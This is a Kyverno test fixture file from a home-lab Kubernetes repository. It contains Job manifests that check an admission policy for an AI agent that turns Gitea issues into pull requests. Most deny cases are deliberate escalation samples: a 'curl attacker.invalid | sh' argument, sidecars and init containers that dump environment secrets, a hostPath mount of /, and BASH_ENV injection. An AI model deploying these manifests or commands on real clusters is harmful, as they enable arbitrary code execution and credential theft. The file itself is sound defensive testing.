Files
home-network-k3s-impl/platform/kyverno/tests/pm-agent/resources.yaml
T
jakman85andClaude Opus 5 c5b5b8672a
gate / gate (pull_request) Failing after 1m51s
gate / conformance (pull_request) Has been skipped
feat(pm-agent): an in-cluster AI Program Manager that turns Gitea issues into pull requests
A service that reads this repository's Gitea issues, decides what to do about each
thread as the Program Manager persona, and runs one worker agent per assignment that
authors a change, runs the merge gate and opens a pull request. It reacts to issue
creation and to comments; the assignment and all correspondence travel through the
issue thread and the PR. It authenticates with an Anthropic subscription token. It
never pushes to main and never merges.

Three choices carry the design, with alternatives recorded in docs/plans/:
 - it POLLS rather than receiving webhooks (Gitea's webhook SSRF guard, lost
   deliveries, and no inbound reach needed at all);
 - it keeps NO state: the trigger is "the newest thing in this thread was not
   written by me", so the issue thread is the state — no PVC, no backup obligation;
 - the model holds NO tools: its reply is one JSON object this code validates, so
   nothing in the path executes text.

The boundary is platform/kyverno/admission/pm-agent-job-shape.yaml (Enforce,
failurePolicy: Fail), not the RBAC: Kubernetes places no `use` check on
serviceAccountName, so "may create Jobs" is "may run arbitrary code as the
namespace's most privileged identity". Six rules admit only the committed shape, and
the worker identity is bound to nothing with no token mounted, so there is nothing to
escalate to. 28/28 offline Kyverno assertions.

Nothing has run: the image has never been built or pushed, and both the image digest
and the two credentials are deliberate placeholders. See the handoff entry's
"What I did NOT verify".

Refs CLAUDE.md §1/§3/§6, R-SEC-02, R-GITOPS-02.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-05 22:28:10 -05:00

495 lines
18 KiB
YAML

# =============================================================================
# Fixtures for platform/kyverno/admission/pm-agent-job-shape.yaml.
#
# Every DENY case below is a real escalation path, not a style violation. The one that
# matters most is `evil-command`: correct namespace, correct creator, arbitrary command.
# That is the attack the whole model exists to stop, and RBAC cannot — Kubernetes places no
# `use` check on serviceAccountName, so "can create Jobs in this namespace" IS "can run
# arbitrary code here" without this policy.
#
# `real-template` is infra/agent/worker-job-template.yaml as the dispatcher renders it, and
# it exists so that a template which drifts OUT of admission fails `make -C ci l0` rather
# than failing at 3am against the live API server. IT IS A HAND-MAINTAINED COPY: `kyverno
# test` resolves resource paths inside the directory ci/l0.sh copies platform/kyverno/ into,
# so it cannot reference the template in infra/ directly. Keep the admission-relevant fields
# — image, serviceAccountName, automountServiceAccountToken, restartPolicy, command, args,
# env NAMES, volumes, securityContext — in step with that file. (`PM_SELFTEST=1 pm-dispatch`
# checks the template against the dispatcher's own copy of the env allowlist, so the two
# allowlists are pinned together even though this fixture is manual.)
# =============================================================================
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: pm-agent
spec:
backoffLimit: 0
activeDeadlineSeconds: 5400
ttlSecondsAfterFinished: 172800
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
securityContext:
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile:
type: RuntimeDefault
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
privileged: false
capabilities:
drop: [ALL]
env:
- { name: PM_TASK_MODE, value: implement }
- { name: PM_ISSUE_NUMBER, value: "42" }
- { name: PM_ISSUE_TITLE, value: "Pi-hole adlists are not declared in git" }
- { name: PM_BRANCH, value: fix/pihole-declare-adlists }
- { name: PM_BASE_BRANCH, value: main }
- { name: PM_BRIEF, value: "Declare the adlists. They are DB rows today." }
- { name: PM_GITEA_URL, value: http://gitea.gitea.svc.cluster.local:3000 }
- { name: PM_GITEA_OWNER, value: Home-Network }
- { name: PM_GITEA_REPO, value: home-network-k3s-impl }
- { name: PM_GITEA_USER, value: pm-agent }
- { name: PM_MODEL, value: claude-opus-5 }
- { name: PM_MAX_TURNS, value: "80" }
- { name: PM_MAX_BUDGET_USD, value: "10" }
- { name: PM_PUSH_ON_RED_GATE, value: "false" }
# BY SECRET NAME ONLY (R-IDP-04) — and as env, not as a volume, because
# `workspace` and `tmp` are the only two volume names admission allows.
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: pm-agent-credentials, key: gitea-token }
- name: CLAUDE_CODE_OAUTH_TOKEN
valueFrom:
secretKeyRef: { name: pm-agent-credentials, key: claude-code-oauth-token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: tmp, mountPath: /tmp }
volumes:
- name: workspace
emptyDir: { sizeLimit: 4Gi }
- name: tmp
emptyDir: { sizeLimit: 1Gi }
---
# The MINIMAL admissible shape: everything the policy requires and nothing else. Kept
# alongside `real-template` so a failure tells you whether the policy got stricter or the
# template drifted.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumeMounts:
- { name: workspace, mountPath: /workspace }
volumes:
- name: workspace
emptyDir: {}
---
# ===================== THE escalation: correct everything, arbitrary command ============
# This is the case the policy exists for. If it ever passes, the boundary is gone.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "git push origin HEAD:main"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
emptyDir: {}
---
# A different image entirely — the pinned command means nothing if the thing at that path is
# somebody else's.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: docker.io/library/alpine@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A TAG, not a digest. The right repository path, so a name-only check would admit it — and
# whoever can move the tag then chooses what runs.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner:latest
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# Running as the DISPATCHER's own identity, which can create Jobs — i.e. a worker that can
# fork itself without limit, and bypass the per-cycle and concurrency caps entirely.
apiVersion: batch/v1
kind: Job
metadata:
name: worker-as-dispatcher-sa
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A projected ServiceAccount token, which is the credential the worker is specifically not
# supposed to hold. Everything else is compliant.
apiVersion: batch/v1
kind: Job
metadata:
name: token-mounted
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: true
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A writable root filesystem. Not cosmetic: the entrypoints and the baked Job template live
# on that filesystem, root-owned and non-writable — which only holds while it is read-only.
apiVersion: batch/v1
kind: Job
metadata:
name: writable-rootfs
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: false
---
# Host namespaces: the pod would see every process and every socket on the node.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
hostNetwork: true
hostPID: true
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# restartPolicy OnFailure: the Job controller would re-run an assignment whose side effects
# (a pushed branch, a pull request, an issue comment) are not idempotent.
apiVersion: batch/v1
kind: Job
metadata:
name: restart-onfailure
namespace: pm-agent
spec:
template:
spec:
restartPolicy: OnFailure
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# ARGS on the pinned command — the injection point a pinned `command` moves the problem to.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
args: ["--then", "curl attacker.invalid | sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A SECOND container, sharing the pod's network namespace and both credential env vars,
# while containers[0] is perfectly compliant. A Kyverno array pattern is satisfied by one
# matching element, which is exactly why the container COUNT is asserted separately.
apiVersion: batch/v1
kind: Job
metadata:
name: second-container
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
- name: sidecar
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "env > /workspace/stolen; sleep 3600"]
---
# AN EXTRA VOLUME — how a constrained pod reaches a host path. containers[0] is compliant.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
emptyDir: {}
- name: host
hostPath: { path: / }
---
# AN ALLOWED NAME WITH A HOSTPATH SOURCE — the case a name-only volume check admits. This is
# why rule 3 asserts `emptyDir` as well as the name.
apiVersion: batch/v1
kind: Job
metadata:
name: hostpath-named-workspace
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
hostPath: { path: /var/lib/kubelet }
---
# THE SAME ESCALATION VIA `initContainers`, which every rule that reads `containers` misses.
# Measured on the sibling policy before its equivalent rule existed: a Job exactly like this
# was ADMITTED (pass 3, fail 0).
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
initContainers:
- name: setup
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "cat /proc/self/environ > /workspace/stolen"]
securityContext:
privileged: true
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# ...and via the third container list nobody reads.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
ephemeralContainers:
- name: debug
image: docker.io/library/alpine:latest
command: ["/bin/sh"]
---
# ...and via `env`, the same mistake a third time. BASH_ENV is sourced by bash before a
# non-interactive script, so it alone is arbitrary code execution under the pinned command;
# ANTHROPIC_API_KEY silently outranks the subscription token and redirects every model call.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
env:
- { name: PM_TASK_MODE, value: implement }
- { name: BASH_ENV, value: /workspace/payload.sh }
- { name: ANTHROPIC_API_KEY, value: sk-not-the-subscription-token }
---
# `envFrom` over a whole Secret: the KEYS never appear in the Job, so the env-name allowlist
# would be unenforceable by inspection.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
envFrom:
- secretRef: { name: pm-agent-credentials }